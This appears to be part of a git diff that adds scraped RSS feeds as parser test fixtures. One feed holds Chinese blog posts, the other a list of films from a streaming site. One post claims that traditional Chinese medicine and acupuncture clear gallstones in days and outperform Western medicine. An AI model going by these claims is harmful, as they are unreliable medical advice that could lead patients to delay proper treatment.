痛,故右胁下剧痛,肝气窜络,而胁痛牵连肩背;肝郁气滞,湿热壅阻,影响肝的疏泄和胆腑的通降功能,胆汁郁结则湿热内生,湿热互蒸,久经煎熬而成结石;结石阻滞肝胆、不通则痛,故有时可出现持续性绞痛,阵发性加剧;湿热熏蒸肝胆,胆汁不循常道而泛溢,发为黄疸;胆热炽盛,故发热烦躁,口苦咽干。胆胃不和,故恶心、呕吐、纳呆;热结阳明,腑气不通,故腹满便秘;若热毒炽盛,可致胁下剧痛拒按,壮热神烦;热陷心肝,可致神昏痉厥之危重证候。静止期常见右胁下隐痛,是由肝郁气滞所致。肝气横逆,乘脾犯胃,可见脘腹胀满,不思饮食。胆石症的中医临床辨证一般有气滞证、湿热证、脓毒证等症型,分别用柴胡疏肝散加减疏肝理气、用茵陈蒿汤加味利湿清热、用犀角散加味清热解毒凉血。只要对证下药,会效如桴鼓。快则一两天就能消炎止痛。这样的疗效且不伤身体,又怎么可能是号称科学的西医能比的?如果针灸,疗效更神奇而神速了。胆石症针灸:1、体针:取日月、期门、胆囊穴。配足三里、中脘。用电针强刺激,可止痛及促进排石。耳针:取胰、胆、肝、三焦、十二指肠等穴。可用电针或压籽。可根据具体病情加减。消炎止痛后,打胆结石对中医来说,也不难,几天即可。而且,不痛了不用急着打结石,有空才打。总之,胆石症在真正的中医看来是小病,我也治愈过许多。不知读者是否细看,张院士的胆囊之疾是旧疾复发。一个中国中医科学院的前院长、中国工程院院士、南京中医药大学校长而不是赤脚医生,怎么连个胆石症也治不了,要熬到劳累复发。中医院士、国医大师,应该代表着中国中医界最高水平吧,怎么连个小小的胆石症都无法用中医治疗?怎么可能连赤脚医生的水平都比不上?身负重任的张院士因何因缘作出这样的决定?中医院士,应该代表着中国中医界最高水平吧,怎么连个小小的胆石症都无法用中医治疗,怎么去治病救人?天津市支援湖北疫情防控前方指挥部总指挥、天津市人大常委会副主任、市对口支援恩施疫情防控工作领导小组组长王小宁说:“要我说张先生就是我们的无胆英雄。”如果我们的中医都成“无胆英雄”,中医如何取信国人?中医人又是如何的感受?可能有的人反驳说,这次新冠肺炎,学院派中医不是战胜了疫情吗?还不认可吗?没有比较就没有鉴别,不妨跟比较接近有可比性的2003年的抗击非典疫情比较。邓铁涛领导的中医团队的四个零--零死亡、零转院、零感染、零后遗症。如果有邓老这样的大师,相信这次疫情中医会做得更好。中医院士,应该代表着中国中医界最高水平吧,怎么连个小小的胆石症都无法用中医治疗,我们是否反思我们的中医政策、中医教育和科研?许多善良的人们,以为虽然中西医是两个不同体系,如果结合,不就可以取长补短,更好服务于患者吗?这些人的愿望十分美好,但是,现实不是想象,中西医结合,在现在科学的社会环境下,我们的中医往往没有自信,跪在“先进、科学”的西医脚下久了,就站不起来了,往往是西医改造了中医,最后是事与愿违,中医想吸收西医的合理之处当然宣传是说吸收西医的先进之处,哪想最后结果往往是邯郸学步,就变成丢了中医,不知中医为何物,不会望闻问切,不辨寒热虚实,不懂中医的君臣佐使。看病就看西医的检查指标,没有指标不会看病,看病就开退烧药、消炎药、止咳药、降压药、降糖药。这样的中医已经没有了中医的灵魂了,还叫中医吗?就像我们的张伯礼院士那样。张伯礼院士中西医结合应该代表中国中西医结合的最高水平吧,治病的能力如何?如果中西医结合了,不能治病,治病依靠西医,这样的结合有意义吗?中医还不懂,你哪拿什么跟人家结合?中医没入门,创新啥?这样的结合、这样的创新,还是中医吗?是四不像的“新医学”吧。中医做小白鼠实验,我们能看到的结果不多吧?老鼠能否被被药毒死、老鼠短时间内是否长肿瘤。药吃下去是否头晕、乏力、做梦、胃口稍变差,这些老鼠会说吗?这样的药是治病还是说毒不死人、不会短期内长瘤?这样的实验对治病有多大意义?再看中药的化学成分分析。你要造宝马车、瑞士表,你分析并准确知道了成分有多大意义?你写了很多论文甚至很多成果就会治病?不说了,说多肝火又要上来了。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +《科技前沿》随想录(735) +http://www.caogen.com/blog/Infor_detail.aspx?ID=763&articleId=110251 +我的栏目 +www.caogen.com +Fri, 03 Apr 2020 03:09:51 GMT +从批评金融自由化说开去现代金融的本质是使闲钱以至虚拟的钱让渡给需要钱发展而又缺钱者的事务社会化专业化高效化。要让金融发挥如此正常(超常!)的职能作用,起码需要具备三个必要条件。一是要有金融的部门单位,比如银行、股市、投资公司等。其作用是使金融具有运转的专业性平台。二是要有诚信的思想意识,能够保证金融体系正常正效率的透明运转。三是要有相关配套的制度管理措施。及时解决(调控)好金融运转过程中的各种问题。根据上述分析,对照我国相关的基本情况来看,除第一条照搬组建外,其它条件缺陷最明显的地方一是诚信思想,二是配套制度措施。我们传统主流的思想意识里面从来不会将诚信当作最要。传统最要的是亲疏等级与个人功名利禄,如果能够获此,即使失了诚信也无所谓,甚至视作聪明(如中国名著《三国演义》诸葛亮失信不退荆州就是)。正是在这种愚昧落后的传统价值观念影响下,才十分容易造成我们社会的假冒伪劣坑蒙拐骗盛行。配套制度措施的缺陷当然更加明显。比如这次股灾暴虐了十好几天,大众性传媒的电视几乎天天说这说那,就是没有过硬办法来加以制止,显得多么力不从心!制度缺陷的本质还是制定运转制度的思想思维落后。陈平教授的文章将这个情况比之于当年红军第五次反围剿惨败的“李德”教条主义、本本主义思维。这个比喻相当警醒!拿这个“李德思维”去印证我们“不成功”的教育、住房、医疗等等其它非金融改革,也非常相符啊。说一点绝非马后炮的话。前些年底,我在一次单位学习会议上读到上头全面金融改革的报告文件,看到所推的那种金融自由化取向改革举措(思想思路),便不由得五内如焚。我忍不住对参会的同事们说,中国人是典型不讲诚信的,如果这样自由化的放开金融,骗子会满天飞了!果不其然,随后,社会上各种各样的投资公司便如雨后春笋的生长出来了,也没有好久(二个来月吧),其中不少就变成了所谓的跑路公司、骗子公司,人们怨声载道了。文革有非诚信的问题,毛泽东也有非诚信的问题,中国历史上可能许多风云人物都有非诚信的问题,但它们的根子不在文革和毛泽东以及那些风云人物本身,而在主流几千年的传统观念文化上。观念文化是什么?观念文化就是一个族群基本的思想观念思维方式(取向)。族群的所谓特点从根本上讲,正是传统观念文化长期影响所塑造出来的。如果缺乏这种人类文明史演进规律的系统性整体性眼界,只是纠缠在某事某人某地来思考问题,就可能很难找准问题的症结,更谈不上找到好的改进路径的。另外,你既然没有亲身经历文革时代,就特别需要警惕以非白即黑的简单思维来全盘否定那个时代。反思文革的哲学理性态度不应该纠缠在那些造成文革罪恶的具体某人某事,而应该从造成文革的错误愚昧思想渊源上多作思索。文革的罪恶当然不容否认,但是文革既然承接于那个曾经蒸蒸日上的革命运动,所以其思想的上进性方面也不是完全乏善可陈的。比如就诚信问题而言,文革那时人们虽然狂热偏激,但其(对组织以至对别人)忠诚老实的程度哪里是现在能够相比的。这种单纯性事实上可能正是我们经历者不时还要怀念它的原因呢。既要看到毛泽东的平庸错误,也(更!)要看到毛泽东的伟大正确,还要看到造成毛泽东现象这样冰火两重天的根本原因。毛泽东的平庸错误来源于什么?他的伟大正确又来源于什么?你讲到观念文化的形成来自于历史的社会的政治经济实践,这个论点估计许多接受过来所谓唯物主义教育(片面性)的同胞们容易共识。但是这个观点其实尚嫌肤浅,或者太一般化了。因为思想是大脑产生的,而大脑一经接触实际实践,自然就会产生想法。这个情况的一般化或者抽象,就容易产生你上述的所谓唯物主义。然而,这个观点用于观察全部的人类文明史,却会落入片面性的窠臼。因为,人类文明史中并非都像中华文明那样循环停滞在传统农业社会里的,其中当然存在着一种引领整个人类生存福祉迅速增长的文明(类型)。而这种真正孕育工业社会、信息社会的观念文化便与中国传统的观念文化存在着根本性的差异。且这种差异集中便体现在究竟是否具备某种纯粹的精神信仰上面。然此精神信仰的(思想来源)本质是什么?她当然不是上述那种大脑反映论所能解释的范畴,因为她的取向恰好是超越性的。超越什么,就是超越现实超越存在超越反映论。比如等级意识就是人类社会固有的现象,反映论的思想必然还是要搞等级社会;而一定的精神信仰却要超越它提出平等意识,它建立的新社会就会越来越平等。在这个分析基础上,再来剖析毛泽东的平庸错误与伟大正确的思想根源就比较轻松易见了。毛泽东的这种两重性恰好来源于他自己崇奉的两种观念文化的两重性。其平庸错误基本上来自中国传统的观念文化,比如其极其崇拜的阶级斗争学说就极容易与传统的亲亲疏疏窝里斗意识沆瀣一气。再比如其君王意识权术思想轻人(权)观念等就都是传统文化的糟粕所在。毛泽东的伟大正确基本上来自那种先进的观念文化。比如他在青年时期广泛阅读了许多西方哲学思想的书籍,在德国哲学家泡尔生《伦理学原理》上就写了“观念造成文明,诚哉,诚哉”的眉批,显示了毛泽东高度重视思想建设的凡人难及高度。毛泽东实事求是的哲学理性也非常难得,这仍与其吸取西方马克思主义思想精神相关。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + + diff --git a/tests/feedlib/testdata/parser/warn/http-www-doubiekan-net-map-rss-xml.xml b/tests/feedlib/testdata/parser/warn/http-www-doubiekan-net-map-rss-xml.xml new file mode 100644 index 0000000..a1fafc1 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/http-www-doubiekan-net-map-rss-xml.xml @@ -0,0 +1,714 @@ + + + +6080逗别看影院 +6080逗别看影院 +http://www.doubiekan.net +zh-cn +6080逗别看影院 +Rss Powered By http://www.doubiekan.net + +http://www.doubiekan.netPublic/images/logo.gif + + +女学。~圣女斯克威尔学院~ +http://www.doubiekan.net/video/72398.html + +2020-04-06 10:43:40 + + + +社长,战斗的时间到了! +http://www.doubiekan.net/video/72397.html +堀江瞬,市之濑加那,和气杏未,青山吉能,堀江由衣,八代拓,上坂堇,茜屋日海夏 +2020-04-06 10:39:51 + + + +覆活 +http://www.doubiekan.net/video/72396.html +邱胜翊,任容萱,姚以缇,吴岳擎,黄仲昆,严艺文,游安顺,琇琴,林鹤轩,陈以文,狄志杰,唐振刚,夏靖庭 +2020-04-06 10:40:25 + + + +妖怪人间 +http://www.doubiekan.net/video/72395.html +石知田,连俞涵,黄腾浩,陈以文 +2020-04-06 10:40:54 + + + +嘉碧和外星宝贝 +http://www.doubiekan.net/video/72394.html +Nathan,Lovejoy,Callan,Farris,Maxwell,Acee,Donovan,See,full,cast,&,crew,» +2020-04-06 10:41:17 + + + +志云饭局52 嘉宾:李连杰 +http://www.doubiekan.net/video/72393.html +陈志云,郑裕玲,刘德华,黄秋生,许冠文 +2020-04-06 10:44:17 + + + +宝拉 +http://www.doubiekan.net/video/72392.html + +2020-04-06 05:52:06 + + + +魔鬼森林 +http://www.doubiekan.net/video/72391.html +Maria,Simona,Arsu,Patrick,Sebastian,Negrean,Marius,Dan,Munteanu +2020-04-06 05:09:53 + + + +猛鬼迫人 +http://www.doubiekan.net/video/72390.html +商天娥,潘震伟,关海山,胡枫 +2020-04-06 05:10:55 + + + +俄罗斯大厦 +http://www.doubiekan.net/video/72389.html +肖恩·康纳利,米歇尔·菲佛,罗伊·沙伊德尔,詹姆斯·福克斯,肯·罗素,约翰·马奥尼 +2020-04-06 05:04:58 + + + +恋爱的天空 +http://www.doubiekan.net/video/72388.html +邱淑贞,吴君如,吴家丽,钟丽缇,张耀扬,陈百祥,王敏德,周文健,梁荣忠,陈国邦,林保怡,关咏荷,罗兰,苑琼丹,李兆基,蓝靖,施绮莲,黎海珊,陈凯恒,王德斌,谷德昭 +2020-04-06 05:06:44 + + + +傲气雄鹰 +http://www.doubiekan.net/video/72387.html +刘德华,关之琳,苗侨伟,吴镇宇 +2020-04-06 05:09:05 + + + +明月在心 +http://www.doubiekan.net/video/72386.html +王真儿,金锁,易志兵,全建军 +2020-04-06 04:55:58 + + + +罗马假日2017 +http://www.doubiekan.net/video/72385.html +任昌丁,孔炯轸,郑尚勋,姜信日,金正碧,徐恩雅,张光 +2020-04-06 04:57:05 + + + +马奇男孩 +http://www.doubiekan.net/video/72384.html +埃米尔·赫斯基,汤姆·盖里,理查德·詹金斯,巴勃罗·施瑞博尔,扎迦利·奈顿,瑞恩·唐洛胡,Meredith,Handerhan,Beckie,King,Sandra,Gartner,Tara,O'Reilly,萨姆·洛伊德,Munson,Hicks,Macklen,Makhloghi,Joshua,J.,Masters +2020-04-06 04:00:57 + + + +黄金宝藏 +http://www.doubiekan.net/video/72383.html +Erdenetsetseg,Bazarragchaa,Mendbayar,Dagvadorj,Tuvshinjargal,Sukh-Ochir,Enkhtuya,Tangad,Erdnetsetseg,Bazarragchaa,Uranchimeg,Urtnasan,Erdenebat,Yarinpil,Uyanga,Ayanga,Damdin,Sovd,Zolzaya,Gantur,Naran-Khuslen,Bor +2020-04-06 04:03:56 + + + +为儿取名 +http://www.doubiekan.net/video/72382.html +亚历山德罗·加斯曼,米卡埃拉·拉马佐蒂,瓦莱丽亚·戈利诺,路易吉·洛·卡肖,罗科·帕帕莱奥 +2020-04-06 04:05:42 + + + +赐予者/记忆传授人 +http://www.doubiekan.net/video/72381.html +杰夫·布里吉斯,梅丽尔·斯特里普,布兰顿·思怀兹,亚历山大·斯卡斯加德,凯蒂·霍尔姆斯 +2020-04-06 04:09:41 + + + +比邻星 +http://www.doubiekan.net/video/72380.html +伊娃·格林,马特·狄龙,阿列克谢·法捷耶夫,拉斯·艾丁格,桑德拉·惠勒,格莱戈尔·科林,Zélie,Boulant,Trond-Erik,Vassal,Nancy,Tate,Igor,Filippov,Svetlana,Nekhoroshikh,Anna,Sherbinina,Vitaly,Jay,Lionel,Ferra,Manuela,Aguzzi +2020-04-06 04:12:23 + + + +至激杀人犯 +http://www.doubiekan.net/video/72379.html +郑则仕,王敏德,王喜,文颂娴,徐濠萦 +2020-04-06 04:14:12 + + + +珠城之恋 +http://www.doubiekan.net/video/72378.html +孟阿赛,张倩如 +2020-04-06 04:15:29 + + + +禁断动画31 +http://www.doubiekan.net/video/72377.html + +2020-04-06 04:15:58 + + + +初恋2020 +http://www.doubiekan.net/video/72376.html +张锐,恽梦婷,琪琪 +2020-04-06 04:24:39 + + + +诺曼人:维京传奇 +http://www.doubiekan.net/video/72375.html +Graham,McTavish,Leo,Gregory,Ken,Duken,Anatole,Taubman,James,Norton,Darrell,D'Silva,艾德·斯克林 +2020-04-06 04:26:43 + + + +从零到我爱你 +http://www.doubiekan.net/video/72374.html +斯科特·贝利,达里尔·斯蒂芬斯,Al,Sapienza,理查德·劳森,凯利·勒夫科维茨,莱斯利·泽米吉斯,杰伊·胡古雷,杰·罗德里格斯,Cody,Matthew,Blymire,吉米·肖,Julian,Feder,Samson,Varghese,Gregory,Zarian,Matt,Cipro,Kevalena,Everett +2020-04-06 03:57:21 + + + +疯狂老爹 +http://www.doubiekan.net/video/72373.html +杨轶,潘长江,方媛 +2020-04-06 03:59:46 + + + +挑逗性游戏 +http://www.doubiekan.net/video/72372.html +威廉·鲍德温,辛迪·克劳馥 +2020-04-06 03:24:40 + + + +恐怖之夜:噩梦电台 +http://www.doubiekan.net/video/72371.html +Ian,Costello,米歇尔·卡斯特罗,克拉拉·科瓦西奇,Kera,O'Bryon,James,Wright +2020-04-06 03:25:43 + + + +恶魔之酸 +http://www.doubiekan.net/video/72370.html +Drew,Rin,Varick,Ashley,Dulaney,Jessica,Lynn,Parsons +2020-04-06 03:26:40 + + + +印度支那 +http://www.doubiekan.net/video/72369.html +凯瑟琳·德纳芙,文森特·佩雷斯,范林丹,让·雅南,多米尼克·布隆,亨利·马尔托,杰拉德·拉缇戈,休伯特·圣-麦卡里,安德烈·瑟韦林,梅珠,朱雄,蒂博·德·蒙塔朗贝尔,埃里克·阮,郑盛,阮如琼,埃德加·吉夫里,光海 +2020-04-06 03:35:42 + + + +失踪2009 +http://www.doubiekan.net/video/72368.html +文成根,秋瓷炫,全世洪 +2020-04-06 03:12:45 + + + +一个馒头引发的的血案 +http://www.doubiekan.net/video/72367.html + +2020-04-06 03:16:18 + + + +军人的妻子 +http://www.doubiekan.net/video/72366.html +克里斯汀·斯科特·托马斯,莎朗·豪根,拉腊·罗西,艾米·詹姆斯-凯利,杰森·弗莱明,科林·梅斯,特蕾莎·马奥尼,查理·希斯科克,露丝·霍洛克斯,戴维娜·西塔拉姆,Emma,Lowndes,Gaby,French,India,Ria,Amarteifio,Laura,Checkley,Karen,Sampford,Roxy,Faridany,Robert,Whitelock,Beverly,Longhurst,Sophie,Dix +2020-04-06 03:17:11 + + + +扎克风暴 +http://www.doubiekan.net/video/72365.html + +2020-04-05 23:57:25 + + + +继怪怪守护神 +http://www.doubiekan.net/video/72364.html +三瓶由布子,大空直美,久保由利香,松井惠理子,芝崎典子,大久保瑠美,大地叶,市道真央,杉山里穗,内田爱美,坂田将吾,菊池幸利,大野柚布子 +2020-04-05 23:57:25 + + + +在爱的名义下 +http://www.doubiekan.net/video/72363.html +铃木保奈美,江口洋介,唐泽寿明,洞口依子,中岛宏海,中野英雄,夏川结衣,龙雷太,森本治行,山本耕史,石桥保 +2020-04-05 23:57:25 + + + +格莱普尼尔 +http://www.doubiekan.net/video/72362.html +花江夏树,东山奈央,花泽香菜,樱井孝宏,伊藤美来,长谷川芳明,石上静香,安元洋贵,市之濑加那,千叶翔也,大地叶 +2020-04-05 23:13:55 + + + +偶像星愿第二季 +http://www.doubiekan.net/video/72361.html +小野贤章,增田俊树,江口拓也,保志总一朗,立花慎之介,羽多野涉,佐藤拓也,大桥贤一郎,阿部敦,齐藤壮马,白井悠介 +2020-04-05 23:57:24 + + + +金鱼公主/金鱼姬 +http://www.doubiekan.net/video/72360.html +志尊淳,泷本美织,唐田英里佳,中村优子,仙道敦子,大鹰明良,中尾美枝,国村隼 +2020-04-05 23:14:48 + + + +搜查会议在客厅 再来一碗 +http://www.doubiekan.net/video/72359.html +观月亚理莎,田边诚一 +2020-04-05 23:15:20 + + + +应援 +http://www.doubiekan.net/video/72358.html +洼田正孝,二阶堂富美,森七菜,松井玲奈,药师丸博子 +2020-04-05 23:57:24 + + + +还会与你相见3次 +http://www.doubiekan.net/video/72357.html +山本美月,真荣田乡敦,西野入流佳,工藤阿须加,古川琴音,真岛秀和,水間ロン,塚本高史,光石研,吉行和子,酒井若菜 +2020-04-05 21:18:09 + + + +沙特奇趣录大电影 +http://www.doubiekan.net/video/72356.html +Shahad,Alahmari,Yousef,Aldakheel,Lama,Alfard +2020-04-05 21:18:43 + + + +楼下女友请签收 +http://www.doubiekan.net/video/72355.html +王冠逸,徐好,王泽轩,傅姝阳,吴昊泽,涂冰,王小橙,倪寒尽,白昕怡,李颖,罗正 +2020-04-05 23:01:58 + + + +帝女花 +http://www.doubiekan.net/video/72354.html +龙剑笙,梅雪诗,梁醒波 +2020-04-05 21:13:02 + + + +偶然家族 +http://www.doubiekan.net/video/72353.html +成东日,陈熙琼,金光奎,徐智锡,金民教,权恩彬,吕畅九,宋宝恩 +2020-04-05 21:17:44 + + + +我开动物园那些年 +http://www.doubiekan.net/video/72352.html +苏尚卿,阿杰,李诗萌,赵熠彤,孙路路,钱琛,星潮,胡亚捷,赵爽,董玲燕,刘琮,关帅 +2020-04-05 16:28:07 + + + +青瞳的卡斯巴尔 +http://www.doubiekan.net/video/72351.html +田中真弓,潘惠美,浦山迅,银河万丈,藤真秀,三宅健太,渡边明乃,喜山茂雄,泽城美雪,津田英三,恒松步,一城美由希,茶风林,近藤浩德,北泽力,小形满,一条和矢,松田健一郎,土屋利秀,川原庆久,大畑伸太郎,落合弘治,胜沼纪义,合田绘利,橘润二,河本启佑,长洋平,伊泽磨纪,三好晃祐,池田秀一,大塚明夫 +2020-04-05 16:28:30 + + + +战斗妖精雪风 +http://www.doubiekan.net/video/72350.html +堺雅人,中田让治,池田昌子,麻上洋子,田中敦子,山田美穗,矢尾一树,杉山纪彰,土师孝也,大塚芳忠,石森达幸,长克巳,卷岛直树,松本大,桐本拓哉,水内清光,梅津秀行,增谷康纪,广濑正志,细井治,天田真人,川田绅司,柿原彻也,杉田智和 +2020-04-05 16:28:54 + + + +战斗司书 +http://www.doubiekan.net/video/72349.html +朴璐美,大川透,泽城美雪,户松遥,中村悠一,石田彰,三宅健太,入野自由,川澄绫子,置鲇龙太郎,野岛裕史,小西克幸,竹本英史,竹口安芸子,田村由加莉,喜多村英梨,广桥凉,远藤大辅,佐藤利奈,远藤大智,阿部敦,古泽彻,纳谷六朗,野中蓝,大木民夫,野岛健儿,大原沙耶香,江口拓也,后藤沙绪里,钉宫理惠,吉田圣子,川久保洁,能登麻美子,樱井孝宏 +2020-04-05 16:29:11 + + + +乌兰其其格 +http://www.doubiekan.net/video/72348.html +刘海霞,吉静,白楠,贾毅宁,张文渔,徐琳,董志斌,王海阔,肖迪,魏青,范哲琛,刘崇,宁杰 +2020-04-05 16:30:37 + + + +庶务二课2013 +http://www.doubiekan.net/video/72347.html +江角真纪子,贝基,本田翼,安藤樱,森宽和,堀内敬子,三浦翔平,片濑那奈,铃木浩介,安田显 +2020-04-05 16:27:02 + + + +庶务二课3 +http://www.doubiekan.net/video/72346.html +江角マキコ,高桥由美子,宝生舞,京野琴美,櫻井淳子,户田惠子,森本レオ,石黒賢,戸田菜穂,相岛一之 +2020-04-05 16:26:01 + + + +庶务二课2 +http://www.doubiekan.net/video/72345.html +江角真纪子,宝生舞,京野琴美,樱井淳子,户田惠子,泽村一树,石黑贤 +2020-04-05 16:27:12 + + + +庶务二课 +http://www.doubiekan.net/video/72344.html +江角真纪子,宝生舞,京野琴美,户田惠子,樱井淳子,高桥由美子,森本治行,石黑贤 +2020-04-05 16:26:39 + + + +甜梦猫 +http://www.doubiekan.net/video/72343.html +村上奈津实,丰崎爱生,久保由利香,金元寿子,伊藤彩沙,幸村惠理,小林裕介,钉宫理惠,久野美咲,藤原夏海 +2020-04-05 11:23:47 + + + +天与地 +http://www.doubiekan.net/video/72342.html +林保怡,陈豪,佘诗曼,邵美琪,黄德斌,陈芷菁,朱慧敏,汤盈盈,张国强 +2020-04-05 16:31:11 + + + +辣妹与恐龙 +http://www.doubiekan.net/video/72341.html +岛袋美由利,夏吉ゆうこ,工藤夕希,山下诚一郎 +2020-04-05 11:24:05 + + + +小书痴的下克上:为了成为图书管理员不择手段!第二季 +http://www.doubiekan.net/video/72340.html +井口裕香,速水奖,中岛爱,折笠富美子,小山刚志,田村睦心,子安武人,日野聪,前野智昭,内田彩,中博史,三瓶由布子,狩野翔,都丸千代 +2020-04-05 11:24:32 + + + +顽强的人们 +http://www.doubiekan.net/video/72339.html +芦田爱菜,岩城滉一,石田良子,小野武彦,前田吟 +2020-04-05 16:25:39 + + + +游戏王SEVENS +http://www.doubiekan.net/video/72338.html +石桥阳彩,八代拓,花江夏树,楠木灯 +2020-04-05 11:25:03 + + + +转生恶役只好拔除破灭旗标 +http://www.doubiekan.net/video/72337.html +内田真礼,冈咲美保,水濑祈,Inori,Minase,早见沙织,苍井翔太,柿原彻也,铃木达央,松冈祯丞,濑户麻沙美,雨宫天,田村睦心,市道真央 +2020-04-05 11:25:22 + + + +听我的电波吧 +http://www.doubiekan.net/video/72336.html +杉山里穗,藤真秀,石见舞菜香,山路和弘,大原沙耶香,能登麻美子,石川界人,矢野正明,浪川大辅,岛田敏 +2020-04-05 11:25:45 + + + +聆听者 +http://www.doubiekan.net/video/72335.html +村濑步,高桥李依,钉宫理惠,花泽香菜,诹访部顺一,上村祐翔,八代拓,上田丽奈,银河万丈,下野纮,田中敦子,大原沙耶香,日笠阳子,黑泽朋世,佐藤利奈,岛袋美由利,中村悠一,大塚芳忠,水树奈奈,山寺宏一,福山润 +2020-04-05 11:26:08 + + + +阿尔蒂 +http://www.doubiekan.net/video/72334.html +小松未可子,小西克幸 +2020-04-05 11:20:44 + + + +昨日之歌 +http://www.doubiekan.net/video/72333.html +小林亲弘,宫本侑芽,花泽香菜,花江夏树 +2020-04-05 11:21:05 + + + +文豪与炼金术师 ~审判的齿轮~ +http://www.doubiekan.net/video/72332.html +诹访部顺一,中村悠一,柿原彻也,立花慎之介,小野坂昌也,渡边拓海,杉田智和,野岛健儿,逢坂良太,前野智昭,大桥贤一郎,三木真一郎,吉野裕行,大河元气 +2020-04-05 11:21:25 + + + +轰炸 +http://www.doubiekan.net/video/72331.html +蕾拉·哈塔米,佩曼·莫阿迪,Siamak,Ansari,Habib,Rezaei +2020-04-05 05:18:12 + + + +误色/欺世盗名2020 +http://www.doubiekan.net/video/72330.html +马修·吉列姆,威廉·奈特,萨姆·沃塔斯 +2020-04-05 05:19:20 + + + +美丽的日子 +http://www.doubiekan.net/video/72329.html +李奈映,张东润,吴光禄,李宥俊 +2020-04-05 05:19:56 + + + +和巴什尔跳华尔兹 +http://www.doubiekan.net/video/72328.html +Ron,Ben-Yishai,Ronny,Dayag,Ari,Folman,Dror,Harazi,耶海兹拉扎诺夫 +2020-04-05 04:54:38 + + + +卡壳 +http://www.doubiekan.net/video/72327.html +王耀可,马书良,高宏亮,颜景瑶,张文婷,管乐,李家慧,韩山山,沙吉力,王嵘 +2020-04-05 04:56:25 + + + +咖啡与卡里姆 +http://www.doubiekan.net/video/72326.html +塔拉吉·P·汉森,艾德·赫尔姆斯,杰西·哈奇,贝蒂·吉尔平,大卫·艾兰·格里尔,钱斯·赫斯菲尔德,安德鲁·巴切勒,弗雷泽·艾奇逊,舍治·哈德,Samantha,Cole,Terrence,Little,Gardenhigh,RonReaco,Lee,Garfield,Wilson,Frankie,Hopkins,Caitlin,Mitchell-Markovitch,Adam,Thomas +2020-04-05 04:57:22 + + + +美满归宿 +http://www.doubiekan.net/video/72325.html +中村ゆり,佐藤めぐみ,原幹恵,長嶋一茂 +2020-04-05 04:59:15 + + + +灵兽2020 +http://www.doubiekan.net/video/72324.html +康宁,张鑫,曹国涛 +2020-04-05 05:09:54 + + + +变异狂蟒2 +http://www.doubiekan.net/video/72323.html +朱荣荣,舒杨,文卓 +2020-04-05 05:09:42 + + + +公牛2019 +http://www.doubiekan.net/video/72322.html +尤隆达·罗斯,Yolonda,Ross,罗布·摩根,Rob,Morgan,Karla,Garbelotto,Amber,Havard +2020-04-05 05:13:09 + + + +阴阳师 泷夜叉姬 +http://www.doubiekan.net/video/72321.html +佐佐木藏之介,市原隼人,刚力彩芽,竹中直人,国广富之,寺田农,菅田俊,升毅,笛木优子,本田望结 +2020-04-05 05:14:28 + + + +赏金2018 +http://www.doubiekan.net/video/72320.html +Morgan,Glover,马丁·巴特斯·布拉德福德,萨曼莎·博利厄,特伦斯·罗斯摩尔,Rhonda,Johnson,Dents,Sam,Malone,Casey,Groves,Lawrence,Xavier,Bierria +2020-04-05 04:49:57 + + + +青蛇之万兽城 +http://www.doubiekan.net/video/72319.html +林禹,肖博,金雅娜,居来提,易正福,莫美林,王亚楠,黄永刚 +2020-04-05 04:52:24 + + + +妈咪宝贝 +http://www.doubiekan.net/video/72318.html +Pierre-François,Martin-Laval,伊莎贝尔·南蒂,托马·索利韦尔 +2020-04-05 04:54:09 + + + +三更之回忆 +http://www.doubiekan.net/video/72317.html +惠秀,郑宝石 +2020-04-05 04:14:46 + + + +惊魂圣诞节 +http://www.doubiekan.net/video/72316.html +Maru,Valdivielso,Christian,Casas,Roger,Babia,Ivana,Baquero,Daniel,Casadellà,Elsa,Pataky,José,Torija +2020-04-05 04:16:07 + + + +耶路撒冷 +http://www.doubiekan.net/video/72315.html +,本尼迪克特·康伯巴奇 +2020-04-05 04:16:41 + + + +L +http://www.doubiekan.net/video/72314.html +广濑爱丽丝,古畑星夏,古川雄辉,平冈祐太,朝美穗香,成田凌,高桥瞳,高桥玛莉润,田中要次 +2020-04-05 04:17:04 + + + +请寻找我 +http://www.doubiekan.net/video/72313.html +李英爱 +2020-04-05 04:18:23 + + + +两代 +http://www.doubiekan.net/video/72312.html +钟裕 +2020-04-05 04:23:39 + + + +六欲天 +http://www.doubiekan.net/video/72311.html +祖峰,黄璐,陈明昊,田雨,刘天池,张倩如 +2020-04-05 04:25:36 + + + +歌手·当打之年 +http://www.doubiekan.net/video/72310.html +毛不易,周深,徐佳莹,萧敬腾,袁娅维,华晨宇,米希亚,刘柏辛,李佩玲,黄霄雲,靳梦佳,王乔,黄婷婷,吉杰,梁田,晏维,周峻纬,郭涛,李莎旻子 +2020-04-05 04:37:19 + + + +火山下的人生 +http://www.doubiekan.net/video/72309.html +María,Mercedes,Coroy,María,Telón,Manuel,Manuel,Antún,Justo,Lorenzo,Marvin,Coroy +2020-04-05 04:27:10 + + + +外星幻想曲 +http://www.doubiekan.net/video/72308.html + +2020-04-05 04:29:14 + + + +公牛犹斗 +http://www.doubiekan.net/video/72307.html +尤隆达·罗斯,罗布·摩根,Karla,Garbelotto +2020-04-05 03:33:43 + + + +另一只羔羊 +http://www.doubiekan.net/video/72306.html +米希尔·赫伊斯曼,拉菲·卡西迪,丹妮斯·高夫,夏洛特·穆尔 +2020-04-05 03:34:35 + + + +寡居的一年 +http://www.doubiekan.net/video/72305.html +杰夫·布里吉斯,金·贝辛格,乔恩·福斯特,米密·罗杰斯,艾丽·范宁,碧悠·菲利浦斯,约翰·罗斯曼 +2020-04-05 03:35:38 + + + +蠢蛋搞怪秀:遗失的录影带 +http://www.doubiekan.net/video/72304.html +Johnny,Knoxville,Steve-O +2020-04-05 03:36:45 + + + +炙热纠缠 +http://www.doubiekan.net/video/72303.html +,格雷戈·格伦伯格,Salvator,Xuereb,艾德丽安·威尔金森 +2020-04-05 03:29:30 + + + +我美妙的西柏林 +http://www.doubiekan.net/video/72302.html +维兰德•施佩克,罗萨·冯·布劳恩海姆 +2020-04-05 03:26:19 + + + +从不,很少,有时,总是 +http://www.doubiekan.net/video/72301.html +茜德尼·弗拉尼根,塔莉娅·莱德,西奥多·佩尔兰,瑞安·艾戈尔德,莎伦·凡·艾腾,德鲁·塞尔策,Kim,Rios,Lin,Brett,Puglisi,Lester,Greene,Carolina,Espiro,Amy,Tribbey,Brian,Altemus,Guy,A.,Fortt,Aurora,Richards,Deepti,Menon +2020-04-05 03:27:07 + + + +我仍然相信 